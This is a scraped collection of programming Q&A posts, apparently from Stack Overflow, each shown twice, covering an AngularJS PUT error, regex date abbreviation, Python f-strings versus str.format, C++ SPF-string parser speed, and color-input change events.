        className: 'ngdialog-theme-default',
        scope: newScope
    });
};

In my template offer.html i have a simple form:

      <form name="Offer"  ng-controller="FollowingAuctionsController">
Your Offer:

<input type="number" placeholder="Your Offer" ng-model="newOffer" name="new offer" required> €

<input class="btn" type="submit" ng-click="submitNewOffer(auction._id, auction.allbids[auction.allbids.length -1].bid)" value="OK">

And in the submitNewOffer i pass, the id of the auction and the highest offer.

And this is the submitnewOffer():

     $scope.submitNewOffer = function (id, bid) {
    console.log(id);
    console.log(bid);
    var newBid = $scope.newOffer;
    if (newBid>bid) {
        console.log(newBid);
        console.log('/api/followingauctions/newoffer/' + id);
        $http.put('/api/followingauctions/newoffer/' + id, newBid)
            .then(function () {
                alert('Offert Done!');
                getFollowingAuctions();
            });
    }

    else {
        alert('The offer must be higher!');
        $scope.newOffer = '';
    }
};

Like you see i do the console.log to see if the data that i passed into the template are ok. They are!
Than if the new bid is less than the highest bid that i passed, i send that alert, else i put the new offer.

All works fine and all the console.log are fine. But when i submit the newBid (that is higher than the old bid) it send me this error:

angular.js:12578 PUT http://localhost:3001/api/followingauctions/newoffer/58dbd190b8042b080d1418bf 400 (Bad Request)

angular.js:14516 Possibly unhandled rejection: {"data":"
Unexpected token 8

400

SyntaxError: Unexpected token 8\n    at parse (/Users/m.pagano/WebstormProjects/Challenge_2/Project2/sampsite/node_modules/body-parser/lib/types/json.js:83:15)\n    at /Users/m.pagano/WebstormProjects/Challenge_2/Project2/sampsite/node_modules/body-parser/lib/read.js:116:18\n    at invokeCallback (/Users/m.pagano/WebstormProjects/Challenge_2/Project2/sampsite/node_modules/raw-body/index.js:262:16)\n    at done (/Users/m.pagano/WebstormProjects/Challenge_2/Project2/sampsite/node_modules/raw-body/index.js:251:7)\n    at IncomingMessage.onEnd (/Users/m.pagano/WebstormProjects/Challenge_2/Project2/sampsite/node_modules/raw-body/index.js:307:7)\n    at emitNone (events.js:86:13)\n    at IncomingMessage.emit (events.js:185:7)\n    at endReadableNT (_stream_readable.js:974:12)\n    at _combinedTickCallback (internal/process/next_tick.js:74:11)\n    at process._tickCallback (internal/process/next_tick.js:98:9)
","status":400,"config":{"method":"PUT","transformRequest":[null],"transformResponse":[null],"jsonpCallbackParam":"callback","url":"/api/followingauctions/newoffer/58dbd190b8042b080d1418bf","data":800,"headers":{"Accept":"application/json, text/plain, /","Content-Type":"application/json;charset=utf-8"}},"statusText":"Bad Request"}

Body:
You are using the method incorrectly.

The right signature of $http.put method is put(url, data, [config]);

So, your code could look like this:

$http.put('/api/followingauctions/newoffer/' + id, {newBid: newBid})
        .then(function () {
            // success
        });

and you can access newBid from POST at the backend

OR

$http.put('/api/followingauctions/newoffer/' + id, {}, {params: {newBid: newBid}})
        .then(function () {
            // success
        });

in which case, newBid can be obtained from GET at the backend


问:
change format of date from JSON to first 2 letters and year
I have the following JSON, and I need to convert the date values eg. "December 2016" to "D16", not sure how I could do this, I guess with a Regex, any help would be appreciated.</p>

```<code>[["November 2016","December 2016","January 2017","February 2017","March 2017"],["total",2,43,59,51,41
],["mammo",1,20,33,12,12],["face",1,20,16,30,27],["body",0,3,10,9,2],["photo",0,19,27,12,5],["scan",2
,24,32,39,36]]
</code>```

答:
To achieve this you could use a regular expression to match the required text and replace the elements of the first date array. Try this:

var arr = [
  ["November 2016", "December 2016", "January 2017", "February 2017", "March 2017"],
  ["total", 2, 43, 59, 51, 41],
  ["mammo", 1, 20, 33, 12, 12],
  ["face", 1, 20, 16, 30, 27],
  ["body", 0, 3, 10, 9, 2],
  ["photo", 0, 19, 27, 12, 5],
  ["scan", 2, 24, 32, 39, 36]
];

arr[0] = arr[0].map(function(date) {
  return date.replace(/^(\w{1}).*(\d{2})$/gi, "$1$2");
})

console.log(arr);```
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script></code>```

Body:
I have the following JSON, and I need to convert the date values eg. "December 2016" to "D16", not sure how I could do this, I guess with a Regex, any help would be appreciated.

[["November 2016","December 2016","January 2017","February 2017","March 2017"],["total",2,43,59,51,41
],["mammo",1,20,33,12,12],["face",1,20,16,30,27],["body",0,3,10,9,2],["photo",0,19,27,12,5],["scan",2
,24,32,39,36]]

Body:
To achieve this you could use a regular expression to match the required text and replace the elements of the first date array. Try this:

var arr = [
  ["November 2016", "December 2016", "January 2017", "February 2017", "March 2017"],
  ["total", 2, 43, 59, 51, 41],
  ["mammo", 1, 20, 33, 12, 12],
  ["face", 1, 20, 16, 30, 27],
  ["body", 0, 3, 10, 9, 2],
  ["photo", 0, 19, 27, 12, 5],
  ["scan", 2, 24, 32, 39, 36]
];

arr[0] = arr[0].map(function(date) {
  return date.replace(/^(\w{1}).*(\d{2})$/gi, "$1$2");
})

console.log(arr);

<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>


问:
f-strings vs str.format()
I'm using the .format() a lot in my Python 3.5 projects, but I'm afraid that it will be deprecated during the next Python versions because of f-strings, the new kind of string literal.

```<code>>>> name = "Test"
>>> f"My app name is {name}."
'My app name is Test.'
</code>```

Does the formatted string feature come to fully replace the old .format()? And from now on, would it be better to use the new style in all cases?

I understand that it's based on the idea that "Simple is better than complex." However, what about performance issues; is there any difference between them? Or is it just a simple look of the same feature?

答:
I'm afraid that it will be deprecated during the next Python versions

Don't be, str.format does not appear (nor has a reason) to be leaving any time soon, the PEP that introduced fprefixed-strings even states in its Abstract:

This PEP does not propose to remove or deprecate any of the existing string formatting mechanisms.

Formatted strings were introduced to address some of the shortcomings other methods for formatting strings had; not to throw the old methods away and force god-knows how many projects to use f-string's if they want their code to work for Python 3.6+.

As for the performance of these, it seems my initial suspicion that they might be slower is wrong, f-strings seem to easily outperform their .format counterparts:

```<code>➜ cpython git:(master) ./python -m timeit -s "a = 'test'" "f'formatting a string {a}'"
500000 loops, best of 5: 628 nsec per loop
➜ cpython git:(master) ./python -m timeit "'formatting a string {a}'.format(a='test')"
100000 loops, best of 5: 2.03 usec per loop
</code>```

These were done against the master branch of the CPython repository as of this writing; they are definitely subject to change:

f-strings, as a new feature, might have possible optimizations

Optimizations to CPython might make .format faster (e.g Speedup method calls 1.2x)

But really, don't worry about speed so much, worry about what is more readable to you and to others.

In many cases, that's going to be f-strings, but there's some cases where format is better.

Title: f-strings vs str.format()

Body:
I'm using the .format() a lot in my Python 3.5 projects, but I'm afraid that it will be deprecated during the next Python versions because of f-strings, the new kind of string literal.

>>> name = "Test"
>>> f"My app name is {name}."
'My app name is Test.'

Does the formatted string feature come to fully replace the old .format()? And from now on, would it be better to use the new style in all cases?

I understand that it's based on the idea that "Simple is better than complex." However, what about performance issues; is there any difference between them? Or is it just a simple look of the same feature?

Body:
I'm afraid that it will be deprecated during the next Python versions

Don't be, str.format does not appear (nor has a reason) to be leaving any time soon, the PEP that introduced fprefixed-strings even states in its Abstract:

This PEP does not propose to remove or deprecate any of the existing string formatting mechanisms.

Formatted strings were introduced to address some of the shortcomings other methods for formatting strings had; not to throw the old methods away and force god-knows how many projects to use f-string's if they want their code to work for Python 3.6+.

As for the performance of these, it seems my initial suspicion that they might be slower is wrong, f-strings seem to easily outperform their .format counterparts:

➜ cpython git:(master) ./python -m timeit -s "a = 'test'" "f'formatting a string {a}'"
500000 loops, best of 5: 628 nsec per loop
➜ cpython git:(master) ./python -m timeit "'formatting a string {a}'.format(a='test')"
100000 loops, best of 5: 2.03 usec per loop

These were done against the master branch of the CPython repository as of this writing; they are definitely subject to change:

f-strings, as a new feature, might have possible optimizations

Optimizations to CPython might make .format faster (e.g Speedup method calls 1.2x)

But really, don't worry about speed so much, worry about what is more readable to you and to others.

In many cases, that's going to be f-strings, but there's some cases where format is better.


问:
Small is beautiful, but is it also fast?
I had an argument with a co-worker about implementation of simple string parser.
One is "small", 10 lines of code, using c++ and streams, the other is 70 lines of code,
using switch cases and iterating string char by char.
We tested it over 1 million of iterations, and measured speed using time command.
It appears that the long and ugly approach is 1 second faster on average.

The problem:
Input: string

"v=spf1 mx include:_spf-a.microsoft.com include:_spf-b.microsoft.com include:_spf-c.microsoft.com include:_spf-ssg-a.microsoft.com ip4:131.107.115.212 ip4:131.107.115.215 ip4:131.107.115.214 ip4:205.248.106.64 ip4:205.248.106.30 ip4:205.248.106.32 ~all a:1.2.3.4"

Output:
map<string, list<string>> with all the values for each key such as: ip4, include,a

example output of one iteration, on the input string given above:

key:a

1.2.3.4,

key:include

_spf-a.microsoft.com, _spf-b.microsoft.com, _spf-c.microsoft.com, _spf-ssg-a.microsoft.com,

key:ip4

131.107.115.212, 131.107.115.215, 131.107.115.214, 205.248.106.64, 205.248.106.30, 205.248.106.32,

The "small is beautiful" parser:

```<code>        istringstream iss(input);
        map<string, list<string> > data;
        string item;
        string key;
        string value;

        size_t pos;
        while (iss.good()) {
                iss >> item;
                pos = item.find(":");
                key = item.substr(0,pos);
                data[key].push_back(item.substr(pos+1));
        }
</code>```

The second faster approach:

```<code>  typedef enum {I,Include,IP,A,Other} State;
  State state = Other;
  string line = input;
  string value;
  map<string, list<string> > data;
  bool end = false;
  size_t pos = 0;
  while (pos < line.length()) {
   switch (state) {
    case Other:
     value.clear();
     switch (line[pos]) {
      case 'i':
       state = I;
       break;
      case 'a':
       state = A;
       break;
      default:
       while(line[pos]!=' ' && pos < line.length())
        pos++;
     }
     pos++;
     break;
    case I:
     switch (line[pos]) {
      case 'p':
       state = IP;
       break;
      case 'n':
       state = Include;
       break;
     }
     pos++;
     break;
    case IP:
     pos+=2;
     for (;line[pos]!=' ' && pos<line.length(); pos++) {
      value+=line[pos];
     }
     data["ip4"].push_back(value);
     state = Other;
     pos++;
     break;
    case Include:
     pos+=6;
     for (;line[pos]!=' ' && pos<line.length(); pos++) {
      value+=line[pos];
     }
     data["include"].push_back(value);
     state = Other;
     pos++;
     break;
    case A:
     if (line[pos]==' ')
      data["a"].push_back("a");
     else {
      pos++;
      for (;line[pos]!=' ' && pos<line.length(); pos++) {
       value+=line[pos];
      }
     }
     data["a"].push_back(value);
     state = Other;
     pos++;
     break;
   }
  }
</code>```

I truly believe that "small is beautiful" is the way to go, and i dislike the longer code presented here, but it's hard to argue about it, when the code runs faster.

Can you suggest a ways to optimize or completely rewrite the small approach, in a way, where it stays small and beautiful but also runs faster?

Update:
Added state definition and initialization.
Context: the longer approach completes 1 million iterations on the same string in 15.2 seconds, the smaller code does the same in 16.5 seconds on average.

both versions compiled with g++ -O3, g++-4.4,
ran on Intel(R) Core(TM)2 Duo CPU     E8200  @ 2.66GHz, Linux Mint 10

The good side have won this battle :)  I found small bug in the small program, it added even invalid values to the map, the ones that did not had the ":" colon in the string.
After adding an "if" statement to check for the presence of colon, the smaller code runs faster, much faster. Now the timings are: "small and beautiful":12.3 and long and ugly: 15.2.

Small is beautiful :)

答:
I will disagree with the answers saying you should categorically choose the shorter, slower version; depending on the trade-off of performance gain and improved user experience vs. readability and maintenance cost of the code the faster version could be preferable.

Trust your own judgment!

Regarding this particular case, I have the following notes:

The two versions do not actually do the same thing. The shorter one handles all possible key names, while the longer one only supports a few hard coded keys.

I would guess (this should be profiled!) that the most of the time spent in both algorithms is in the construction/allocation of the std::map and std::list nodes. Changing to a different datastructure not requiring per-key and per-value allocations would probably dramatically speed up both implementations.

Body:
I had an argument with a co-worker about implementation of simple string parser.
One is "small", 10 lines of code, using c++ and streams, the other is 70 lines of code,
using switch cases and iterating string char by char.
We tested it over 1 million of iterations, and measured speed using time command.
It appears that the long and ugly approach is 1 second faster on average.

The problem:
Input: string

"v=spf1 mx include:_spf-a.microsoft.com include:_spf-b.microsoft.com include:_spf-c.microsoft.com include:_spf-ssg-a.microsoft.com ip4:131.107.115.212 ip4:131.107.115.215 ip4:131.107.115.214 ip4:205.248.106.64 ip4:205.248.106.30 ip4:205.248.106.32 ~all a:1.2.3.4"

Output:
map<string, list<string>> with all the values for each key such as: ip4, include,a

example output of one iteration, on the input string given above:

key:a

1.2.3.4,

key:include

_spf-a.microsoft.com, _spf-b.microsoft.com, _spf-c.microsoft.com, _spf-ssg-a.microsoft.com,

key:ip4

131.107.115.212, 131.107.115.215, 131.107.115.214, 205.248.106.64, 205.248.106.30, 205.248.106.32,

The "small is beautiful" parser:

        istringstream iss(input);
        map<string, list<string> > data;
        string item;
        string key;
        string value;

        size_t pos;
        while (iss.good()) {
                iss >> item;
                pos = item.find(":");
                key = item.substr(0,pos);
                data[key].push_back(item.substr(pos+1));
        }

The second faster approach:

  typedef enum {I,Include,IP,A,Other} State;
  State state = Other;
  string line = input;
  string value;
  map<string, list<string> > data;
  bool end = false;
  size_t pos = 0;
  while (pos < line.length()) {
   switch (state) {
    case Other:
     value.clear();
     switch (line[pos]) {
      case 'i':
       state = I;
       break;
      case 'a':
       state = A;
       break;
      default:
       while(line[pos]!=' ' && pos < line.length())
        pos++;
     }
     pos++;
     break;
    case I:
     switch (line[pos]) {
      case 'p':
       state = IP;
       break;
      case 'n':
       state = Include;
       break;
     }
     pos++;
     break;
    case IP:
     pos+=2;
     for (;line[pos]!=' ' && pos<line.length(); pos++) {
      value+=line[pos];
     }
     data["ip4"].push_back(value);
     state = Other;
     pos++;
     break;
    case Include:
     pos+=6;
     for (;line[pos]!=' ' && pos<line.length(); pos++) {
      value+=line[pos];
     }
     data["include"].push_back(value);
     state = Other;
     pos++;
     break;
    case A:
     if (line[pos]==' ')
      data["a"].push_back("a");
     else {
      pos++;
      for (;line[pos]!=' ' && pos<line.length(); pos++) {
       value+=line[pos];
      }
     }
     data["a"].push_back(value);
     state = Other;
     pos++;
     break;
   }
  }

I truly believe that "small is beautiful" is the way to go, and i dislike the longer code presented here, but it's hard to argue about it, when the code runs faster.

Can you suggest a ways to optimize or completely rewrite the small approach, in a way, where it stays small and beautiful but also runs faster?

Update:
Added state definition and initialization.
Context: the longer approach completes 1 million iterations on the same string in 15.2 seconds, the smaller code does the same in 16.5 seconds on average.

both versions compiled with g++ -O3, g++-4.4,
ran on Intel(R) Core(TM)2 Duo CPU     E8200  @ 2.66GHz, Linux Mint 10

The good side have won this battle :)  I found small bug in the small program, it added even invalid values to the map, the ones that did not had the ":" colon in the string.
After adding an "if" statement to check for the presence of colon, the smaller code runs faster, much faster. Now the timings are: "small and beautiful":12.3 and long and ugly: 15.2.

Small is beautiful :)


问:
onChange event is not working in color type input
I search a lot and find answers on Stack Overflow but all in vain, nothing is working for me. I want to get the color value when color is changed in input field.

Here is my code, please check this why it's not working.

```<code> <input type="color" id="bgcolor" value="#ffffff" onchange="test()" />
</code>```

Here is the JavaScript code:

```<code> function test(){
    console.log('working.....');
 }
</code>```

This function is not working, if you replace onChange with onclick it's working fine, but why not for onChange?

答:
This problem some people are having with inconsistent behaviour in different browsers happens because you're using the onchange event (change in jQuery), which is not the appropriate event for color inputs (that's why it sometimes works and it sometimes doesn't, especially on Mac OS X).

You should use oninput (or input when using jQuery), which works fine in all browsers and platforms.

```<code>$('#bgcolor').on('input',
    function() {
        console.log($(this).val());
    }
);
</code>```

Body:
I search a lot and find answers on Stack Overflow but all in vain, nothing is working for me. I want to get the color value when color is changed in input field.

Here is my code, please check this why it's not working.

 <input type="color" id="bgcolor" value="#ffffff" onchange="test()" />

Here is the JavaScript code:

 function test(){
    console.log('working.....');
 }

This function is not working, if you replace onChange with onclick it's working fine, but why not for onChange?

Body:
This problem some people are having with inconsistent behaviour in different browsers happens because you're using the onchange event (change in jQuery), which is not the appropriate event for color inputs (that's why it sometimes works and it sometimes doesn't, especially on Mac OS X).

You should use oninput (or input when using jQuery), which works fine in all browsers and platforms.

$('#bgcolor').on('input',
    function() {
        console.log($(this).val());
    }
);